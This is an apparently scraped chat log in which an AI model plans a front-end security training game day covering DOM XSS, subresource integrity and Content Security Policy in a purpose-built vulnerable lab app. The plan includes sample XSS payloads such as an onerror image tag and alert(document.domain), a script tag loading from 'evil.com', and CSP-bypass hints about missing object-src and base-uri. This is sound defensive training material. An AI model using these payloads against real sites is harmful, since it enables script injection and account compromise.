Plan a front-end security game day simulating CSP violations, third-party script…
- User
Plan a front-end security game day simulating CSP violations, third-party script breaches, and DOM XSS defenses.
Assistant
The user wants to plan a "front-end security game day." This means an interactive, educational event for developers (likely front-end or full-stack) to learn about web security through simulated attacks and defenses.
Key Topics to Cover:
- CSP (Content Security Policy) violations.
- Third-party script breaches (Supply Chain Attacks).
- DOM XSS (Cross-Site Scripting) defenses.
Format:
- "Game Day" implies competition, challenges, or at least a very hands-on "Capture The Flag" (CTF) style approach.
- It needs a structure: Setup, Scenario/Challenge, Execution, and Debrief.
Drafting the Plan:
-
Title: Needs to be catchy. "Fort Knox Frontend," "The Browser Battleground," etc. Let's go with something clear like "Frontend Fortress: Security Game Day."
-
Objectives: What should people learn?
- Understanding CSP headers and reporting.
- Analyzing network requests and integrity attributes (SRI).
- Identifying and sanitizing unsafe client-side sinks.
-
Structure:
- Pre-requisites: A vulnerable app (DVWA is okay, but custom is better for specific scenarios). I should suggest creating a simple "Training Ground" app (React/Vue/Plain JS).
- Teams: Red (Attackers) vs. Blue (Defenders) is a classic model, or individual "Challenges."
-
Scenario 1: The Leaking Pipe (CSP Violations)
- Concept: A site has a loose CSP. The goal is to exfiltrate data or inject scripts.
- Defense: Tighten the CSP.
- Activity: Use a tool to generate a nonce or hash. Implement a strict CSP. Trigger a violation report.
-
Scenario 2: The Trojan Horse (Third-Party Scripts)
- Concept: A CDN script goes rogue (or looks like it).
- Defense: Subresource Integrity (SRI).
- Activity: Break a script (change the file on a local server). See the app break or malicious alert. Add the
integrityattribute to fix/prevent it.
-
Scenario 3: The Shattered Mirror (DOM XSS)
- Concept: Taking user input from
window.location.hashorsearchParamsand putting it intoinnerHTML. - Defense: Sanitization and safe APIs (textContent).
- Activity: Craft a URL payload. Fix the code using a library like DOMPurify.
- Concept: Taking user input from
-
The "Meta" Game:
- Scoring system (points for successful attacks, points for successful patches).
- Tools needed (Burp Suite, Browser DevTools, Postman).
Refining the Content - Step-by-Step:
- Introduction: Set the stage. Why are we doing this?
- Environment Setup: Crucial. Docker is best for isolation.
- The Rounds:
- Round 1: CSP. Focus on
unsafe-inlinevs Nonces. This is a common pain point. - Round 2: Supply Chain. Focus on SRI and checking permissions.
- Round 3: DOM XSS. Focus on sinks (
eval,innerHTML) and sources (location.hash).
- Round 1: CSP. Focus on
- Debrief: The most important part. Explain why things worked or failed.
Self-Correction/Review during drafting:
- Initial thought: Just list the vulnerabilities.
- Correction: A "Game Day" needs gamification. Points, timers, roles.
- Tech Stack: Keep it agnostic but mention standard tools (React/Node is a safe assumption for modern frontend, but raw HTML/JS is easier to demo XSS). I'll suggest a "Broken App" repo.
Detailed Plan Components:
- Phase 1: Prep. Create the "Vulnerable Shop" or use an existing one like OWASP Juice Shop (but Juice Shop is huge, maybe a custom lightweight app is better for a 1-day event). Let's suggest a custom " vulnerable-app" structure for specific control.
- Phase 2: The Game. Three distinct "Levels."
- Phase 3: The Retro.
Specific Attacks/Defenses to detail:
- CSP: Inject an inline script -> Blocked? No, because
unsafe-inlineis there. Fix: Removeunsafe-inline, add Nonce. - 3rd Party: Load jQuery from a "fake" CDN. Change the file content. Fix: Add SRI hash.
- DOM XSS: URL parameter
?name=hacked. Render<div>Hello {name}</div>via innerHTML. Fix: DOMPurify or textContent.
Formatting: Use bolding, lists, and code blocks to make it readable as a "Plan."
Final Polish: Add a "Winner Criteria" and "Take-home resources."
(Self-Correction on "CSP Violations"): Usually, a CSP violation stops an attack. The game should be "Exploit the weak CSP" then "Patch the CSP." I will frame it as "The Bypass" vs "The Shield."
Let's structure the response as a comprehensive Event Plan.
- Title: Operation: Secure Frontend
- Duration: 4 Hours (Half-day)
- Prerequisites: Node.js, Docker, VS Code.
- The App: "The Leaky Bucket" (a simple e-commerce site).
(Proceeding to generate output based on these structured thoughts.) Here is a comprehensive plan for a Front-End Security Game Day. This plan is designed for a team of developers (intermediate level) and uses a "Red Team vs. Blue Team" or "Attack/Defend" format to maximize engagement.
Event Title: Operation: Clean Slate
Theme: The "Acme Shop" e-commerce site has been compromised. Your job is to exploit the vulnerabilities, then patch them, and finally verify the defenses hold up against automated attacks. Duration: 4 Hours (Half-Day) Prerequisites: Laptops, Node.js installed, Chrome/Firefox, Burp Suite (or simple curl/Postman).
0. The Setup (Pre-Game)
Create a simple, vulnerable web application (a single Express/Node.js server serving a static HTML/JS frontend) that the team will use as their playground.
- Repository:
frontend-security-gameday - The Target: A "Product Page" that takes a query param (
?search=), a "Reviews" section that accepts HTML, and a "Live Chat" widget (simulated 3rd party). - Tools: Provide a "Cheat Sheet" with links to OWASP, CSP Evaluator, and CanIUse.
Round 1: The DOM XSS Gauntlet (45 Minutes)
Focus: Untrusted Input Handling & Unsafe Sinks.
Scenario: The search bar on the product page is vulnerable. It reflects user input directly into the DOM.
The Challenge:
-
The Exploit (15 mins):
- Goal: Execute a
alert(document.domain)using the URL parameters. - Constraint: The server performs no sanitization. The JS uses
innerHTMLordocument.write(legacy style) or jQuery.html(). - Points: +10 for a simple
<img src=x onerror=...>. +20 for bypassing a basic regex filter (e.g., filtering "script" but allowing "svg").
- Goal: Execute a
-
The Defense (30 mins):
- Goal: Patch the code.
- Task: Replace unsafe sinks with safe alternatives.
- Replace
element.innerHTML = inputwithelement.textContent = input. - Bonus Task: Implement a basic HTML Sanitizer (write a crude regex or use a library like
DOMPurify).
- Replace
- Verification: The previous exploits must fail.
Debrief Question: Why is
textContentsafer thaninnerHTML? What doesDOMPurifyactually do?
Round 2: The Supply Chain Sabotage (45 Minutes)
Focus: Third-Party Scripts & Subresource Integrity (SRI).
Scenario: The site loads a "Live Chat" widget from a third-party CDN (
fake-cdn.com/chat.js). Unknown to the team, the CDN has been compromised (simulated by changing the file on the "CDN" locally).The Challenge:
-
The Exploit (10 mins):
- The moderator changes the
chat.jsfile to containalert('Pwned via CDN'). - The team refreshes the page and realizes the breach.
- The moderator changes the
-
The Defense (35 mins):
- Task: Implement Subresource Integrity (SRI).
- Step 1: Generate the SHA-384 hash of the clean
chat.jsscript. - Step 2: Add the
integrityandcrossorigin="anonymous"attributes to the<script>tag. - Verification: Reload the page with the compromised
chat.js. The browser should refuse to execute the script and throw a console error.
Debrief Question: If a third-party script is essential, how do we minimize the damage? (Discuss:
sandboxattribute, Content Security Policy).
Round 3: The CSP Fortress (90 Minutes)
Focus: Content Security Policy (CSP), Violation Reporting, and Policy Construction.
Scenario: We need a policy that prevents external malicious scripts but allows our legitimate inline styles and analytics.
The Challenge:
-
The Attack (15 mins):
- Inject a script that tries to load an external payload:
<script src="https://evil.com/payload.js"></script>. Currently, the site has no CSP, so it loads.
- Inject a script that tries to load an external payload:
-
The Build (The "Game"):
- Level 1 (Strict Defaults): Set a basic CSP:
default-src 'self';.- Result: Almost everything breaks (styles, images, Google Fonts). The team must fix the breakage by adding directives (
img-src,style-src,font-src).
- Result: Almost everything breaks (styles, images, Google Fonts). The team must fix the breakage by adding directives (
- Level 2 (Handling Inline Scripts): The team realizes they have an inline analytics snippet in the HTML. They can't enable it without
unsafe-inline.- Task: Convert the inline script to use a Nonce or Hash.
- Action: Generate a random Base64 string on the server, add it to the CSP header (
script-src 'nonce-abc123'), and add thenonce="abc123"to the script tag.
- Level 3 (Violation Reporting):
- Task: Set up a simple endpoint (e.g., a Slack webhook or a local server route) for
report-uriorreport-to. - Verification: Intentionally violate the CSP (load an external image from a blocked domain). Check if the report is received.
- Task: Set up a simple endpoint (e.g., a Slack webhook or a local server route) for
- Level 1 (Strict Defaults): Set a basic CSP:
Winning Condition: The site looks perfect (styles loaded), analytics work (nonced script), but all injected attacks are blocked by the browser.
Final Boss: Defense in Depth Review (30 Minutes)
Focus: Penetration Testing & Retrospective.
Activity: Swap laptops or repositories between teams.
- Red Team: Try to break the other team's site.
- Blue Team: Review the code for logical flaws.
Points Categories:
- Found an XSS that bypasses
DOMPurify. - Found a way to bypass the CSP (e.g., if
object-srcwasn't set, can you inject a Flash/PDF file? Ifbase-uriwasn't set, can you hijack the base URL?). - Found missing SRI on a crucial library.
Detailed Agenda
Time Activity Goal 09:00 Intro & Pizza Eat, review OWASP Top 10 for Frontend. 09:30 Round 1: DOM XSS Fix input sanitization. 10:15 Round 2: SRI Secure the supply chain. 11:00 Round 3: CSP Implement a robust Content Security Policy with Nonces. 12:30 Final Boss Try to break the other team's work. 13:00 Wrap Up Review the "Report URI" logs and discuss takeaways. Technical Prerequisites for the "Game Master"
To make this run smoothly, you need to prepare the vulnerable app beforehand:
- Backend: A simple Node/Express server serving static files.
- CSP Middleware: A toggle in the code to turn CSP headers On/Off easily.
- Injection Points:
searchquery param reflected in HTML.reviewtext body saved in local storage/cookie and rendered.- A local "CDN" folder serving a JS file that can be tampered with.
Key Learnings to Reinforce
- Sanitization is hard: Don't write your own regex; use battle-tested libraries.
- Trust nothing: Third-party scripts have full access to your page; SRI is the only way to ensure file integrity.
- Defense in Depth: CSP is not a replacement for sanitization; it is a safety net. If the sanitization fails, CSP saves you.
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.